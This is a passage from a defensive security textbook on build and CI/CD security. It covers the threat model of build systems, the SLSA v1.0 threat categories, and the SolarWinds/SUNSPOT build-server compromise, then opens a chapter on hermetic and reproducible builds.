

The Backend Engineer's Library

Build and CI/CD Security

Volume C04

Contents

Build Systems: Architecture and Threat Model

Hermetic and Reproducible Builds

SLSA Build Levels and Provenance

CI/CD Platform Threat Models: Actions, GitLab, Jenkins, Tekton

Hardening GitHub Actions

Secrets Management in CI/CD

Pipeline Poisoning: PPE, Cache, and Artifact Attacks

Ephemeral and Isolated Build Environments

Build Observability and Anomaly Detection

Designing a Secure Build Platform at Scale

Chapter 1 — Build Systems: Architecture and Threat Model

What this chapter covers. This is the opening chapter of Book 4, and it establishes the object of study for the entire book: the **build system** — the machinery that turns source code into the artifacts you ship. Book 1, Chapter 3 argued that the build is the highest-leverage point in the whole supply chain, using SolarWinds as the proof. This chapter takes that claim apart mechanically. We define precisely what a build *is* (a function with a large, mostly-invisible set of trusted inputs), walk its anatomy stage by stage, and then build a rigorous threat model aligned to **SLSA v1.0's** supply-chain threats. The recurring theme is that the build environment is the single most over-privileged, over-trusted node in your production pipeline — it holds source, reaches the network, carries signing keys and cloud credentials, and emits artifacts the rest of the world will trust on sight — and that this concentration of privilege is exactly what makes it the apex target. We close by laying out the seven pillars of build security that the rest of Book 4 develops, and by taking the distributed-systems view: at fleet scale your build farm is a shared, tier-0 concentration point — your own internal SolarWinds waiting to happen.

Learning goals — after this chapter you should be able to:

- Model a build precisely as a **function**: enumerate its inputs (source, dependencies, toolchain, build config, environment, secrets), its transformation, and its outputs (artifacts and provenance), and reason about which trust relationships flow through it.
- Decompose a build into its **stages** — checkout, dependency resolution, compilation, linking, packaging, testing, publishing — and identify the tamper point each stage exposes.
- Explain why the **toolchain itself is a dependency**, and connect this to the Trusting Trust problem (Book 1, Chapter 6; Book 7, Chapter 5).
- Map the **SLSA v1.0 build-relevant threats** — (B) building from modified source, (C) compromising the build process, (D) using a poisoned dependency, (E) tampering with the artifact before

publication, (F) compromising the registry — and place the source-side (A) and consumer-side (G/H) threats in context.

- Articulate why the build environment is a **maximally-privileged, maximally-trusted node**, and why its compromise defeats *both* source review *and* code signing — the SolarWinds/SUNSPOT lesson.
- Explain why builds are genuinely **hard to secure**: they legitimately execute arbitrary code, they are non-deterministic by default, and convenience pulls against isolation.
- Name the **seven pillars** of build security and map each to the chapter of Book 4 that develops it, and to the SLSA build levels (Chapter 3).

A note on scope. This chapter is deliberately about *what a build is* and *what can go wrong*, not yet *how to fix it*. Every control mentioned here is a forward reference to a later chapter; the point is to establish the map before we walk the territory.

The build as a function

The most useful mental model of a build is the simplest one: a **build is a pure function** that you *wish* were pure. It takes a set of inputs and produces a set of outputs, and the central security question is always the same — *what feeds this function, and who trusts its result?*

Write it out:

```
artifact, provenance = build(source, dependencies, toolchain, config,
environment, secrets)
```

Six input classes. Most engineers, asked to name the inputs to their build, will say "the source code." That answer is off by roughly five categories, and every category they forget is an ingestion path an attacker can use.

- **Source** — the code in version control, at a specific commit. This is the input people think about, the one code review and branch protection guard (Book 7). It is also, historically, the *least* likely input to be tampered with in a serious build compromise, precisely because it is the most watched.
- **Dependencies** — the third-party code the build pulls in: libraries, modules, base images, build plugins. This is Book 2's entire subject.

Crucially, dependencies are not passive data during a build — many of them *execute* (we return to this below).

- **Toolchain** — the compilers, interpreters, linkers, and build orchestrators that perform the transformation. The toolchain is code too, and it is a dependency like any other, only one that runs with the build's full authority.
- **Config / build scripts** — the `Makefile`, `pom.xml`, `build.gradle`, `BUILD` file, `package.json` scripts, `Dockerfile`, or CI YAML that *directs* the transformation. This input is executable by design; changing it changes what the build does.
- **Environment** — everything ambient: environment variables, the OS image and its installed packages, the clock, the working directory, the network, CPU architecture, locale. These are inputs even though nobody declares them, which is exactly what makes them dangerous (Chapter 2 on hermeticity).
- **Secrets** — signing keys, registry credentials, cloud IAM tokens, deploy keys. Secrets are a peculiar input: they do not usually change the *bits* of the artifact, but they authorize the build to *speak with authority* — to sign, to publish, to deploy.

The transformation in the middle — compile, link, package, test — is where source becomes artifact. And the output is not one thing but ideally two: the **artifact** (the jar, wheel, binary, container image) and its **provenance** (a signed statement of *what was built, from what inputs, by which builder, how*). Provenance is the output most builds omit today; producing it is the entire subject of SLSA and of Chapter 3.

The security semantics of this function are captured in one sentence: **everything that feeds the build is trusted by the output, and everything the output feeds trusts the build**. The artifact inherits the trustworthiness of the *least* trustworthy input. If any one of source, a single transitive dependency, the compiler, a Gradle plugin, an environment variable, or a build-server process is adversary-controlled, the output is adversary-influenced — and it is signed and shipped as if it were not.

```

flowchart LR
    subgraph inputs["Trusted inputs (each an ingestion path)"]
        S["Source at commit"]
        D["Dependencies (libs, plugins, base images)"]
        T["Toolchain (compilers, orchestrators)"]
        C["Build config / scripts"]
        E["Environment (vars, OS, clock, network)"]
        K["Secrets (signing keys, registry creds, cloud IAM)"]
    end

    subgraph fn["build( ... )"]
        X["Transform: compile / link / package / test"]
    end

    subgraph outputs["Outputs the world trusts"]
        A["Artifact (jar / wheel / binary / image)"]
        P["Provenance (signed: what, how, from what)"]
    end

    S --> X
    D --> X
    T --> X
    C --> X
    E --> X
    K --> X
    X --> A
    X --> P

    A -.->|"consumed and trusted by"| Down["Registries, deployers, downstream builds, end users"]
    P -.->|"verified by"| Down

```

The dashed line on the right is the trust that flows *out*. A registry accepts the artifact; a deployment system rolls it out; another team's build depends on it; an end user installs it. Every one of them is trusting the build function to have been honest. That is the trust an attacker who owns the build inherits — cheaply, and all at once.

The anatomy of a build

Zoom into the transformation. A real build is a pipeline of stages, and each stage consumes some inputs, produces some intermediate state, and hands off to the next. Naming the stages matters because **each stage is an independent tamper point** — a place an adversary can influence the

output without touching any other stage, which is what lets a compromise stay narrow and hard to spot.

1. **Source checkout.** The build fetches a specific revision from version control. Tamper points: fetching the wrong ref (a branch instead of a pinned SHA), a compromised VCS server serving different bytes than were reviewed, a poisoned `.gitattributes` / submodule pointer, or a build that checks out a mutable tag an attacker can move (Book 7 covers tag mutation and ref confusion).
2. **Dependency resolution.** The build reads a manifest and lockfile and downloads the declared dependencies. Tamper points: an unpinned or range version that resolves to a malicious release, dependency confusion pulling an internal name from a public registry, a compromised mirror or cache serving swapped bytes, a lockfile that was never verified against hashes. This is Book 2's territory — Chapters 3 (confusion/typosquatting) and 4 (malicious packages) in particular.
3. **Compilation / transpilation.** Source and dependency source are turned into object code, bytecode, or transpiled output. Tamper points: a compromised compiler emitting different code than the source implies (the Trusting Trust attack), compiler plugins and macros that run arbitrary code, code generation steps that fetch templates over the network.
4. **Linking.** Object code and libraries are combined into an executable or library. Tamper points: linking against a substituted static library, `LD_PRELOAD` -style injection at link or run time, a linker script that pulls in unexpected objects.
5. **Packaging.** Compiled output is assembled into a distributable: a jar, a Python wheel, a Go binary, an OCI image, a `.deb` / `.rpm`. Tamper points: injecting files during assembly, a `Dockerfile` `RUN` step that modifies the image after the "real" build, a packaging script that pulls an extra layer or resource.
6. **Testing.** Tests run against the built artifact. This stage is often overlooked in threat models because it "just runs tests," but test harnesses execute arbitrary code with the build's privileges, frequently pull test fixtures and containers from the network, and in many pipelines run *before* publish inside the same trusted

environment as the signing step. A malicious test dependency is a build compromise.

7. **Artifact publishing.** The artifact is signed and pushed to a registry or repository. Tamper points: substituting the artifact between build and signing, signing the wrong bytes, leaking the signing key, or pushing to a registry the attacker controls.

flowchart TD

```
A["1. Source checkout"] --> B["2. Dependency resolution"]
```

```
B --> C["3. Compile / transpile"]
```

```
C --> D["4. Link"]
```

```
D --> E["5. Package"]
```

```
E --> F["6. Test"]
```

```
F --> G["7. Publish (sign + push)"]
```

```
A -. "(B) build from modified / wrong source" .-> A
```

```
B -. "(D) poisoned dependency, executed during build" .-> B
```

```
C -. "(C) compromised compiler / build process" .-> C
```

```
D -. "(C) substituted library at link" .-> D
```

```
E -. "(C) injection during packaging" .-> E
```

```
F -. "(C)/(D) malicious test dep runs with build privilege" .-> F
```

```
G -. "(E) artifact swapped before publish / (F) registry  
compromise" .-> G
```

The parenthetical letters are SLSA v1.0 threat identifiers, which the next section defines. The point of the diagram is spatial: the threats are not clustered at "the end" where you sign — they are smeared across every stage, and several of them (dependency resolution, compilation, testing) involve the build *executing untrusted code as a normal part of its job*.

Build tools and the toolchain

Step back from the pipeline to the machinery that runs it. A build is orchestrated by a **build tool** — and in practice a stack of them:

- **Compilers and interpreters:** `gcc`, `clang`, `javac`, `rustc`, the Go toolchain, the Python interpreter, `tsc`.
- **Build orchestrators:** `make`, Maven and Gradle (JVM), Bazel and Buck2 (polyglot, hermetic-leaning), `npm` / `yarn` / `pnpm` scripts (JavaScript), `go build`, Cargo (Rust), `setuptools` / `pip` (Python), `dotnet build`.

- **Their plugins and extensions:** Gradle plugins, Maven plugins, Bazel rules, Webpack loaders, `npm` lifecycle scripts, `pip` build backends.

Two things about this stack matter for the threat model.

First, **the toolchain is itself a dependency**. When you run `gradle build`, you are executing `gradle`, every plugin your `build.gradle` applies, and every version of `javac` and every annotation processor those pull in — all fetched from somewhere, often a network registry, often only loosely pinned. The compiler that turns your reviewed source into bytecode is third-party code running with full authority over the output. The Book 2 disciplines for dependencies (pinning, hash verification, provenance, internal mirrors) apply to the toolchain too, and are more often neglected there because engineers do not think of `gcc` as "a dependency."

Second, **the toolchain is a trust anchor, and trust anchors can lie about themselves**. This is the Trusting Trust problem, described by Ken Thompson in 1984 and revisited in Book 1, Chapter 6 and Book 7, Chapter 5: a compromised compiler can inject a backdoor into the programs it compiles *and* into future copies of the compiler it compiles, such that the malicious behavior persists even after the compromise is removed from source — because the source of the compiler is clean and only the binary is poisoned. You cannot detect this by reading source; you can only detect it by *comparing independently-produced binaries*, which is one of the deep motivations for reproducible builds (Chapter 2) and diverse double-compilation. For now, hold the uncomfortable conclusion: **you cannot fully verify a build by trusting the tools that perform it, because those tools are part of what you would need to verify.**

The build threat model: SLSA v1.0

We now make the threat model rigorous by mapping it to **SLSA v1.0** (Supply-chain Levels for Software Artifacts, published by the OpenSSF in April 2023). SLSA frames the supply chain as a flow — *producer* → *source* → *build* → *package* → *consumer*, with dependencies feeding the build — and enumerates the integrity threats as a lettered set spanning that flow. SLSA v1.0's normative content is organized around a **Build track**; source and dependency tracks are lighter or deferred to future versions. Book

4's concern is the build, so we focus on the threats the build track addresses and place the rest in context.

Here is the lettering as it applies along the chain:

Letter	Threat	Where it strikes	Book 4 concern?
A	Source threats: unauthorized change to source, or compromise of the source repo	Before the build, at the VCS	Context (Book 7)
B	Build from modified or unofficial source	Build ingests source not matching the reviewed, official source	Yes
C	Compromise the build process / platform	The builder itself is subverted (SolarWinds/ SUNSPOT)	Yes — the core
D	Use a compromised dependency during the build	A build-time dependency is poisoned and executes	Yes (with Book 2)
E	Tamper with the artifact after build, before publication	The output is swapped between build and sign/push	Yes
F	Compromise the package registry	The distribution point is subverted	Yes (with Book 2 Ch 1)
G/H	Consumer-side: selecting or installing a compromised package	At the consumer, before or during install	Context (Book 2, Book 5)

SLSA's central insight is that **most of these threats are only mitigated by producing and then verifying provenance** — a signed statement, emitted by the builder, describing the build — and comparing that provenance against expectations. Chapter 3 is dedicated to this. For now, the table is a threat map; let us fill it with concrete attack vectors.

(B) Building from modified or unofficial source

The build ingests bytes that are not the reviewed, intended source. This does *not* require compromising version control (that would be threat A). It can happen entirely in the build layer:

- The pipeline checks out a **mutable tag or branch** an attacker has reprinted, rather than a pinned commit SHA.
- A **build script fetches source over the network** — `git clone` of a submodule, a `curl | sh` bootstrap, a code-generation step downloading templates — outside the reviewed tree.
- The build runs on a **fork or a pull-request branch** with attacker-authored changes, a vector we will study in detail as *pipeline poisoning* (Chapter 7) and in the CI/CD platform threat models (Chapter 4).

(C) Compromising the build process or platform

This is the apex threat and the reason Book 4 exists. The source is clean, the dependencies are clean, the signature is valid — but the *builder* has been subverted so that the bytes it emits differ from the bytes the inputs imply. Vectors include:

- **The build machine is owned.** An implant on the build server intercepts compilation and substitutes source or output on the fly. This is exactly the SolarWinds/SUNSPOT mechanism, dissected below.
- **Build-script injection.** The attacker modifies the `Makefile`, `build.gradle`, CI YAML, or a plugin configuration to run an extra step. Because build config is *executable by design*, a one-line change is a code-execution primitive.
- **Compromised toolchain.** A poisoned compiler, linker, or build plugin (see Trusting Trust above).
- **Build cache poisoning.** Many build systems cache intermediate artifacts keyed by a hash of inputs; if an attacker can write a poisoned entry under a key a later build will read, the later build silently consumes malicious intermediate output. Chapter 7 treats cache poisoning in depth.
- **Shared-runner contamination.** On a build platform where runners are reused across jobs, residue from a previous (possibly attacker-

controlled) job — a modified tool on `PATH`, an altered environment, a lingering process — influences yours. Chapter 8 is about eliminating exactly this via ephemerality.

(D) Using a compromised dependency during the build

Here is the property that makes builds categorically more dangerous than "running a program that uses libraries": **the build downloads and executes dependency-supplied code as part of building**. This is not a hypothetical; it is how the tools work.

- A Python package's `setup.py` (or a PEP 517 build backend) runs **arbitrary code at install/build time**. `pip install` of a malicious package is remote code execution on the build host, before your code ever runs.
- An `npm / yarn` package can declare **`preinstall / postinstall` lifecycle scripts** that execute on `npm install`. The event-stream incident (Book 1, Chapter 4) is the canonical example of a malicious transitive dependency executing in the build/CI environment.
- A **Gradle or Maven plugin** is code that runs inside the build JVM with full access to the build's filesystem, environment, and network.
- A **base image** in a `Dockerfile` contributes every binary in its layers to your build and runtime.

The consequence: "don't run untrusted code" — the reflexive advice for most security problems — is *inapplicable* to builds, because running dependency- and config-supplied code is what a build *is*. The mitigation is not "don't run it" but "run it *constrained and isolated*," which is why isolation (Chapter 8) and least privilege (Chapter 6) are pillars rather than nice-to-haves. Dependency selection and vetting — deciding what to run at all — is Book 2, especially Chapters 4 and 10.

(E) Tampering with the artifact after build, before publication

There is a window between "the artifact exists" and "the artifact is signed and published." If an attacker can write to the output during that window — swapping the binary, injecting a file into the image, replacing the wheel — then the *signing step signs the tampered bytes*, and the signature attests to the attacker's artifact with the producer's full authority. The Codecov incident (Book 1, Chapter 5) is a cousin of this: a modification to a widely-distributed script, served as if legitimate.

Mitigations are integrity checks between stages, signing as close to the build output as possible, and provenance that binds the signed digest to the recorded build (Chapters 3 and 7).

(F) Compromising the package registry

Even a perfect build can be undone at the distribution point: if the registry is compromised, an attacker can replace the published artifact after the fact, or serve different bytes to different consumers. This is where **binary transparency**, immutable/append-only registries, and consumer-side signature verification matter (Book 2, Chapter 1 on registry trust models; Book 5 on signing and verification).

(A) and (G/H): the ends of the chain

Threat (A) — subverting source, whether by an authorized insider pushing a bad change or by compromising the VCS — is the subject of Book 7 (Source and Insider). Threats (G) and (H) — the consumer selecting or installing a compromised package, via dependency confusion, typosquatting, or a poisoned mirror — are Book 2's dependency threats seen from the consuming side, and are ultimately answered by verification (Book 5). We name them so the map is complete; Book 4 owns the middle, B through F.

The build environment: a maximally-privileged, maximally-trusted node

Return to the input list and notice what a single machine — the build runner — must simultaneously possess to do its job:

- **Read access to source**, including private repositories.
- **Network access to fetch dependencies**, often broad egress to arbitrary registries and mirrors.
- **Secrets**: the **signing key**, **registry credentials**, and frequently **cloud IAM credentials** or a deploy identity powerful enough to push to production.
- **The authority to produce trusted output** — artifacts and signatures the entire downstream ecosystem accepts without further scrutiny.

No other node in a typical system concentrates this much. Your application servers do not hold the signing key. Your developer laptops do not (or should not) hold production deploy credentials *and* the ability to emit signed releases. The build host holds all of it at once. It is, in the language of Book 1, Chapter 9, a **concentration point**: a node whose compromise yields disproportionate reward.

```
flowchart TD
    subgraph BE["Build runner – one node, four superpowers"]
        R1["Read: private source"]
        R2["Reach: network egress to registries"]
        R3["Hold: signing keys, registry creds, cloud IAM"]
        R4["Emit: trusted artifacts + signatures"]
    end

    Src["Source repos"] --> R1
    Net["Package registries / internet"] --> R2
    Vault["Secret store / KMS"] --> R3
    R4 --> World["Everything downstream trusts the output"]

    Attacker["Adversary who owns this node"] -. "inherits all four at once" .-> BE
```

The reason this concentration is *fatal* rather than merely risky is that build compromise defeats the two controls organizations invest in most heavily and trust most deeply: **source review** and **code signing**. Consider what each control actually proves:

- Code review proves that *the source*, at review time, contained no malicious change that a reviewer noticed. It says nothing about what the build does to that source.
- A code signature proves that *the holder of the signing key* signed *these bytes*. It says nothing about whether those bytes are the honest output of the intended build — only that the signer (or whoever held the key at signing time) endorsed them.

An attacker inside the build environment operates precisely in the gap between these two statements. The source stays clean, so review passes. The signing key signs faithfully, so verification passes. Nothing is malfunctioning. That is the SolarWinds lesson, and it is worth seeing in mechanical detail.

SolarWinds / SUNSPOT: source-clean, build-tampered

SolarWinds is a vendor whose Orion IT-monitoring platform sits deep inside enterprise and government networks. Between roughly late 2019 and 2020, a well-resourced actor gained access to SolarWinds' environment and — this is the important part — chose *not* to modify Orion's source in version control. Instead, per CrowdStrike's analysis, they deployed an implant known as **SUNSPOT** onto a SolarWinds **build server**. SUNSPOT's job was narrow and surgical: it watched for the specific compiler invocation that built a particular Orion source file, and, in the moment between the build reading the file and the compiler consuming it, **substituted a trojanized version** carrying the SUNBURST backdoor. After the compilation, it restored the original source. The net effect: the source in version control was never malicious, the developers' checkouts were clean, and yet the *shipped* Orion binaries contained a backdoor — which SolarWinds' build then signed with SolarWinds' code-signing key and distributed through SolarWinds' official update channel. Customers' update clients verified the signature — a valid signature, over the tampered artifact — and installed it exactly as designed.

```
sequenceDiagram
    participant Dev as Developer
    participant VCS as Source control (clean)
    participant Build as Build server (implanted: SUNSPOT)
    participant Sign as Signing (valid key)
    participant Cust as Customer

    Dev->>VCS: Commit reviewed, benign source
    Note over VCS: Code review PASSES – source is clean
    Build->>VCS: Check out source
    Note over Build: Implant swaps source for
    trojanized version at compile time,
    then restores the original
    Build->>Sign: Emit tampered artifact
    Sign->>Sign: Sign the bytes it is given
    Note over Sign: Signature is VALID –
    over the attacker's artifact
    Sign->>Cust: Distribute signed update
    Cust->>Cust: Verify signature – PASSES
    Cust->>Cust: Install backdoor
```

Read the diagram as a checklist of every defense that did its job faithfully and still failed to help: source control served the honest source; code

review approved honest source; the signing key signed; the customer verified. Each control answered the question it was designed to answer. None of them answered the question that mattered — *did the build faithfully transform the reviewed source into the shipped artifact?* — because no control in the chain was even positioned to ask it. That question is what **build provenance** exists to answer, and answering it is the through-line of Book 4.

Why builds are hard to secure

If build compromise is so devastating, why is it not simply solved? Three structural reasons.

1. Builds legitimately execute arbitrary code. The universal first advice of security — "do not run untrusted code" — is unusable here, because *compilation, build scripts, dependency install hooks, and tests are arbitrary code execution, by design*. A `Makefile` is a program. `setup.py` is a program. A Gradle plugin is a program. You cannot forbid the build from running code; the build's entire purpose is to run code. The only available strategy is to change the *conditions* under which that code runs: isolate it so it cannot reach what it should not (Chapter 8), and strip its privileges so that if it turns malicious, it cannot sign, publish, or pivot (Chapter 6). Security here is about **containment, not prevention of execution**.

2. Builds are non-deterministic and full of hidden inputs. Recall the environment input class. A default build absorbs the wall-clock time (embedded timestamps), the network (whatever a dependency resolves to *today*), the ambient toolchain (whatever `gcc` happens to be on `PATH`), build paths, locale, thread scheduling, and hostnames — none of them declared, all of them able to change the output. This has two bad consequences. First, you cannot **verify** a build by rebuilding it and comparing, because two honest builds of the same source produce different bytes for boring reasons, drowning any malicious difference in noise. Second, hidden inputs are *unmonitored ingestion paths*: an attacker who can influence the ambient environment can influence the output without touching any declared input. Making inputs explicit and outputs stable — **hermeticity and reproducibility** — is the subject of Chapter 2, and it is a precondition for being able to *detect* tampering at all.

3. Convenience pulls hard against security. Every property that makes builds fast and pleasant is, viewed adversarially, an attack surface:

Convenience	Why it's convenient	Why it's dangerous
Shared, long-lived runners	No cold-start cost; warm caches	Cross-job contamination; residue from prior (untrusted) jobs
Broad network egress	go get anything, any registry	Exfiltration channel; fetch of malicious code
Ambient credentials on the runner	Scripts "just work" without wiring auth	Any code the build runs can steal and use them
Aggressive caching	Faster builds	Cache poisoning; stale/malicious intermediates
Rich plugin ecosystems	Reuse, less boilerplate	Each plugin is unsandboxed code in the build

The secure-build project is, in large part, the disciplined *unwinding* of these conveniences — ephemeral runners instead of shared ones, scoped short-lived credentials instead of ambient ones, controlled egress instead of open internet, verified caches instead of blind ones — while paying the smallest possible performance and ergonomics tax. That trade-off is the recurring engineering tension across the rest of the book.

The pillars of build security: a roadmap to Book 4

The defenses that answer these threats are not a grab-bag; they compose into a small number of **pillars**, each of which gets a chapter. Here is the map.

- **Isolation and ephemerality** — every build runs in a clean, single-use, isolated environment, so nothing leaks between builds and no residue persists to be exploited. This directly answers threat (C)'s shared-runner and contamination vectors. (*Chapter 8 — Ephemeral and Isolated Build Environments.*)
- **Hermeticity and reproducibility** — inputs are fully declared and pinned; the build has no hidden dependence on the clock, network, or ambient environment; and the same inputs yield bit-identical outputs, so a rebuild can *verify* the artifact. This is what makes

tampering *detectable*. (Chapter 2 — *Hermetic and Reproducible Builds*.)

- **Provenance** — the builder emits a signed, verifiable statement of *what was built, from which source and dependencies, by which builder, and how*. Consumers verify that statement against their expectations. Provenance is the control that finally answers the SolarWinds question, and it is the spine of the SLSA framework. (Chapter 3 — *SLSA Build Levels and Provenance*.)
- **Least privilege** — the build is granted the narrowest possible access to secrets, network, and identity: short-lived, workload-scoped credentials instead of ambient standing ones; egress allow-lists; signing that the build code itself cannot exfiltrate. This shrinks the blast radius of any code the build runs. (Chapter 6 — *Secrets Management in CI/CD*.)
- **Platform hardening** — the CI/CD platform that runs builds (GitHub Actions, GitLab CI, Jenkins, Tekton) is itself hardened against its specific threat model: pinned actions, constrained workflow permissions, protected runners. (Chapters 4 and 5 — *CI/CD Platform Threat Models, and Hardening GitHub Actions*.)
- **Pipeline integrity** — the pipeline as a system is defended against Poisoned Pipeline Execution, cache poisoning, and artifact-substitution attacks — the (B), (C), and (E) vectors seen from the attacker's playbook. (Chapter 7 — *Pipeline Poisoning: PPE, Cache, and Artifact Attacks*.)
- **Observability** — builds are instrumented so that anomalies (unexpected egress, unusual process trees, out-of-policy tool invocations) are detected, because prevention is never perfect and a compromised build often looks *almost* normal. (Chapter 9 — *Build Observability and Anomaly Detection*.)

These pillars are cumulative, and SLSA formalizes the accumulation as **build levels** (Chapter 3): higher levels demand stronger guarantees — from "provenance exists" to "the build is run on a hardened, isolated platform whose provenance is non-forgable even by the project's own maintainers." Chapter 10 shows how the pillars combine into a coherent, scalable secure build platform. The following table ties the whole model together — stage, the SLSA threat that strikes there, and the pillar/chapter that answers it.

Build stage	Primary SLSA threat	Concrete vector	Answering pillar (chapter)
Checkout	(B) modified source	Mutable tag, network-fetched source	Hermeticity (Ch 2); pipeline integrity (Ch 7)
Dependency resolution	(D) poisoned dependency	Confusion, <code>postinstall</code> , <code>setup.py</code> RCE	Book 2; isolation (Ch 8); least privilege (Ch 6)
Compile / link	(C) compromised process	Trojaned compiler/plugin, Trusting Trust	Hermeticity + reproducibility (Ch 2); provenance (Ch 3)
Package	(C)/(E) injection	Extra layer, output swap	Pipeline integrity (Ch 7); provenance (Ch 3)
Test	(C)/(D) malicious test dep	Test code runs with build privilege	Isolation (Ch 8); least privilege (Ch 6)
Publish	(E)/(F) swap / registry	Sign tampered bytes, registry compromise	Provenance + signing (Ch 3, Book 5); registry trust (Book 2 Ch 1)
Platform-wide	(C) platform compromise	Owned runner, shared-runner residue	Platform hardening (Ch 4–5); ephemerality (Ch 8); observability (Ch 9)

Distributed-systems lens: the build farm as tier-0

Everything above described a single build. At the scale this book assumes — hundreds of services, dozens of teams, thousands of builds a day — builds do not run on one machine but on **shared CI infrastructure**: a build farm, or a managed CI/CD platform, that many teams submit work to. This changes the risk calculus in three ways that any senior engineer designing at fleet scale must internalize.

The platform is a concentration point — for defense and for attack.

Because one platform builds for everyone, hardening it *once* protects every team that uses it: pinned toolchains, ephemeral runners, scoped

credentials, and provenance become properties of the *platform* rather than something each team must reinvent. That is the optimistic reading, and it is the economic argument for centralizing builds. The pessimistic reading is the same fact inverted: **compromising the platform exposes everyone**. A single implant on a shared build farm is positioned to tamper with the artifacts of every team that builds there, hold every project's signing authority, and reach every project's secrets. In other words, *your build farm is your internal SolarWinds* — the same source-clean, build-tampered attack, but now with your entire org as the blast radius. This is precisely why the build platform must be treated as **tier-0 infrastructure**: on the same criticality tier as your identity provider, your KMS, and your root of trust, defended and audited accordingly.

Multi-tenancy demands isolation between tenants' builds. When Team A's build and Team B's build share a runner, a node, a cache, or a credential broker, an attacker who lands in Team A's build (say, via a poisoned dependency) must not be able to influence Team B's build or steal Team B's secrets. The isolation guarantees that Chapter 8 develops for a *single* build are, at fleet scale, simultaneously **tenant-isolation** guarantees. A shared cache that is not namespaced per-tenant is a cross-tenant poisoning channel (Chapter 7); a runner reused across tenants without a full teardown is a cross-tenant contamination channel. The multi-tenancy disciplines here are cousins of those in Volume 12, Chapter 7 (Multi-Tenancy and Isolation), but with a sharper edge, because the shared resource is *the thing that signs your releases*.

Build identity is the basis of downstream trust. In a fleet, "who built this?" cannot be answered by a human name; it must be answered by a **workload identity** the platform assigns to each build — an identity that the build cannot forge and that is bound into the provenance it emits. This is the hinge between Book 4 and Book 5: a build's identity (issued via OIDC to a CI job, exchanged for short-lived signing credentials — the Sigstore/keyless model of Book 5) is what lets a consumer, somewhere else in the distributed system, verify *not just that an artifact was signed, but that it was built by the right builder, from the right source, under the right policy*. Provenance (Chapter 3) is the document; build identity is the thing that makes the document mean something. Get the identity model right and the whole distributed trust graph — who is allowed to produce what, and how anyone downstream checks it — has a foundation. Get it wrong and every signature downstream is just an assertion that *someone*

endorsed some bytes, which, as SolarWinds taught, is not the same as trust.

With the object of study defined and its threats mapped, the next chapter takes the first pillar head-on: making builds **hermetic and reproducible**, so that "did the build faithfully transform the source?" becomes a question you can actually answer.

Key takeaways

- A build is a **function** with six input classes — source, dependencies, toolchain, config, environment, secrets — and two ideal outputs, artifact and provenance. The artifact inherits the trustworthiness of its *least* trustworthy input, and everything downstream trusts the output on sight.
- **Every stage is a tamper point.** Checkout, dependency resolution, compilation, linking, packaging, testing, and publishing each expose a distinct way to influence the output without touching the others.
- The **toolchain is itself a dependency** and a trust anchor that can lie about itself (Trusting Trust). You cannot fully verify a build using the very tools it relies on.
- SLSA v1.0's build-relevant threats are **(B)** build from modified source, **(C)** compromise the build process, **(D)** poisoned dependency executed during build, **(E)** artifact tamper before publish, and **(F)** registry compromise; **(A)** and **(G/H)** bound the chain on the source and consumer sides. Most are mitigated only by **producing and verifying provenance**.
- The build environment is a **maximally-privileged, maximally-trusted node**: it holds source, network egress, signing keys, and cloud credentials, and emits trusted output. Its compromise defeats **both source review and code signing** — the SolarWinds/SUNSPOT lesson: source-clean, build-tampered, validly-signed.
- Builds are hard to secure because they **legitimately execute arbitrary code** (so isolate, don't forbid), are **non-deterministic with hidden inputs** (so make them hermetic to detect tampering), and because **convenience trades directly against security**.
- The seven pillars — isolation/ephemerality, hermeticity/reproducibility, provenance, least privilege, platform hardening,

pipeline integrity, observability — compose into SLSA build levels and, at scale, into a secure build platform.

- At fleet scale the build farm is a **shared, tier-0 concentration point** — your internal SolarWinds. Multi-tenant isolation and non-forgeable **build identity** are what turn a shared platform from a single point of catastrophic failure into a single point of leverage.

Further reading

- **SLSA v1.0**, *Supply-chain Levels for Software Artifacts* — the specification, the "Threats & mitigations" page, and the build-track levels. <https://slsa.dev/spec/v1.0/>
- **CrowdStrike**, *SUNSPOT: An Implant in the Build Process* (January 2021) — the technical analysis of the SolarWinds build-server implant and its source-swap mechanism.
- **Ken Thompson**, *Reflections on Trusting Trust*, Communications of the ACM, 1984 — the foundational statement of the compiler trust-anchor problem.
- **NIST SP 800-218**, *Secure Software Development Framework (SSDF)* — the PW (Produce Well-Secured Software) and PS practices covering build integrity and provenance.
- **CNCF / OpenSSF**, *Software Supply Chain Best Practices* and the *SLSA provenance format* (in-toto attestations) — for how provenance is actually represented and verified.
- **Reproducible Builds project** — <https://reproducible-builds.org/> — the definitions, tooling, and rationale behind bit-for-bit reproducibility (developed in Chapter 2).
- Book 1, Chapter 3 (SolarWinds and 3CX case studies), Chapter 6 (Trust and threat models), and Chapter 9 (the distributed-systems lens); Book 2, Chapters 1, 3, 4 (registry trust, confusion, malicious

packages); Book 5 (Signing and Attestation) for the identity and verification side of provenance.

Chapter 2 — Hermetic and Reproducible Builds

What this chapter covers. Chapter 1 modelled the build as a function you *wish* were pure, with six input classes and a large set of undeclared, ambient inputs that attackers can feed. This chapter is about closing that gap. It develops two related but genuinely distinct properties — **hermeticity** (controlling and declaring every input) and **reproducibility** (getting bit-for-bit identical outputs from the same inputs) — and shows how, together, they turn "did the build faithfully transform the source?" from an act of faith into a question you can mechanically answer.

These are not academic niceties. They are the properties that would have caught the two canonical build-supply-chain attacks. The `xz-utils` backdoor (Book 1, Chapter 5) lived in the release *tarball* — in a doctored `build-to-host.m4` and test fixtures that were never in the upstream Git repository; a build hermetically pinned to the VCS state would have excluded it. SolarWinds/SUNSPOT (Book 1, Chapter 3) swapped source inside a compromised build server and emitted a validly-signed, source-clean, build-tampered artifact; a reproducible build, independently rebuilt from the published source, would have produced a different hash and screamed. Hermeticity shrinks the attack surface *going in*; reproducibility lets you *verify* what came out. Neither is sufficient alone. Both are foundational to SLSA (Chapter 3), to a paved-road build platform (Chapter 10), and to trustworthy remote build caches (Chapter 7).

Learning goals — after this chapter you should be able to:

- **Define hermeticity and reproducibility precisely** and articulate the relationship between them: why hermeticity is (mostly) a prerequisite for reproducibility, why they are nonetheless distinct goals, and what security property each one buys.
- **Enumerate the sources of build non-determinism** — timestamps, ordering, locale, paths, environment leakage, randomness, parallelism, toolchain behaviour — and name the fix for each.

- Use the real techniques: `SOURCE_DATE_EPOCH`, `strip-nondeterminism`, deterministic `tar`, `-ffile-prefix-map`, pinned toolchains, and normalized metadata.
- Explain the **hermetic build models** of Bazel and Nix at the mechanism level — the action graph and the derivation — and why Make, Maven, and npm are non-hermetic by default.
